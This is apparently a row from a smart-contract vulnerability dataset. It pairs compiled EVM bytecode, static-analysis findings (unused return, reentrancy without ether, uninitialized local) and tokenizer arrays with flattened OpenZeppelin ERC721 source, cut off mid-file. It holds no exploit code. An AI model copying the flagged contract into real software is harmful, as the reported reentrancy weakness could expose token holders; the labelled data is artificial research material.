5db0b0000000000000000000000000000000000000000000000000000000014806109ef57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316146109ef565b6001600160a01b03831661389b5761389681600b80546000838152600c60205260408120829055600182018355919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90155565b6138be565b816001600160a01b0316836001600160a01b0316146138be576138be83826138f8565b6001600160a01b0382166138d557610c5f81613995565b826001600160a01b0316826001600160a01b031614610c5f57610c5f8282613a44565b6000600161390584611a17565b61390f9190614136565b6000838152600a6020526040902054909150808214613962576001600160a01b03841660009081526009602090815260408083208584528252808320548484528184208190558352600a90915290208190555b506000918252600a602090815260408084208490556001600160a01b039094168352600981528383209183525290812055565b600b546000906139a790600190614136565b6000838152600c6020526040812054600b80549394509092849081106139cf576139cf61423c565b9060005260206000200154905080600b83815481106139f0576139f061423c565b6000918252602080832090910192909255828152600c9091526040808220849055858252812055600b805480613a2857613a28614226565b6001900381819060005260206000200160009055905550505050565b6000613a4f83611a17565b6001600160a01b0390931660009081526009602090815260408083208684528252808320859055938252600a9052919091209190915550565b828054613a9490614190565b90600052602060002090601f016020900481019282613ab65760008555613afc565b82601f10613acf57805160ff1916838001178555613afc565b82800160010185558215613afc579182015b82811115613afc578251825591602001919060010190613ae1565b50613b08929150613b0c565b5090565b5b80821115613b085760008155600101613b0d565b600067ffffffffffffffff831115613b3b57613b3b614252565b613b4e601f8401601f1916602001614096565b9050828152838383011115613b6257600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114613b9057600080fd5b919050565b600082601f830112613ba657600080fd5b81356020613bbb613bb6836140c7565b614096565b80838252828201915082860187848660051b8901011115613bdb57600080fd5b60005b85811015613c0157613bef82613b79565b84529284019290840190600101613bde565b5090979650505050505050565b80358015158114613b9057600080fd5b600060208284031215613c3057600080fd5b611d4f82613b79565b60008060408385031215613c4c57600080fd5b613c5583613b79565b9150613c6360208401613b79565b90509250929050565b600080600060608486031215613c8157600080fd5b613c8a84613b79565b9250613c9860208501613b79565b9150604084013590509250925092565b60008060008060808587031215613cbe57600080fd5b613cc785613b79565b9350613cd560208601613b79565b925060408501359150606085013567ffffffffffffffff811115613cf857600080fd5b8501601f81018713613d0957600080fd5b613d1887823560208401613b21565b91505092959194509250565b60008060408385031215613d3757600080fd5b613d4083613b79565b9150613c6360208401613c0e565b60008060408385031215613d6157600080fd5b613d6a83613b79565b946020939093013593505050565b600060208284031215613d8a57600080fd5b813567ffffffffffffffff811115613da157600080fd5b61284884828501613b95565b60008060408385031215613dc057600080fd5b823567ffffffffffffffff80821115613dd857600080fd5b613de486838701613b95565b9350602091508185013581811115613dfb57600080fd5b85019050601f81018613613e0e57600080fd5b8035613e1c613bb6826140c7565b80828252848201915084840189868560051b8701011115613e3c57600080fd5b600094505b83851015613e5f578035835260019490940193918501918501613e41565b5080955050505050509250929050565b600060208284031215613e8157600080fd5b611d4f82613c0e565b600060208284031215613e9c57600080fd5b5035919050565b60008060408385031215613eb657600080fd5b82359150613c6360208401613b79565b60008060408385031215613ed957600080fd5b50508035926020909101359150565b600060208284031215613efa57600080fd5b8135611d4f81614268565b600060208284031215613f1757600080fd5b8151611d4f81614268565b600060208284031215613f3457600080fd5b813567ffffffffffffffff811115613f4b57600080fd5b8201601f81018413613f5c57600080fd5b61284884823560208401613b21565b60008151808452613f8381602086016020860161414d565b601f01601f19169290920160200192915050565b60008351613fa981846020880161414d565b835190830190613fbd81836020880161414d565b01949350505050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351613ffe81601785016020880161414d565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000601791840191820152835161403b81602884016020880161414d565b01602801949350505050565b60006001600160a01b038087168352808616602084015250836040830152608060608301526140796080830184613f6b565b9695505050505050565b602081526000611d4f6020830184613f6b565b604051601f8201601f1916810167ffffffffffffffff811182821017156140bf576140bf614252565b604052919050565b600067ffffffffffffffff8211156140e1576140e1614252565b5060051b60200190565b600082198211156140fe576140fe6141fa565b500190565b60008261411257614112614210565b500490565b6000816000190483118215151615614131576141316141fa565b500290565b600082821015614148576141486141fa565b500390565b60005b83811015614168578181015183820152602001614150565b83811115611f115750506000910152565b600081614188576141886141fa565b506000190190565b600181811c908216806141a457607f821691505b602082108114156141c557634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156141df576141df6141fa565b5060010190565b6000826141f5576141f5614210565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146112c157600080fdfea2646970667358221220a1a8bb03a3e545260d6ca3f73b7aa649a273dc51eecf72d7f5b64f00e41aa27464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2692, 2620, 2509, 5243, 14142, 2575, 2063, 2509, 2063, 2683, 2546, 19481, 2581, 11057, 2549, 2050, 2692, 2094, 2683, 2497, 2692, 19317, 2575, 2497, 14526, 14526, 22407, 2683, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 28994, 3388, 10020, 3334, 4502, 20330, 4887, 3406, 3593, 5302, 4305, 10451, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 4769, 1012, 14017, 1000, 1025, 3206, 2079, 3211, 4305, 17084, 2003, 9413, 2278, 2581, 17465, 28994, 3388, 10020, 3334, 4502, 20330, 4887, 3406, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,354
0x96a0d1a8e18d98560cd202b513ffbef53d98bcd3
// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. 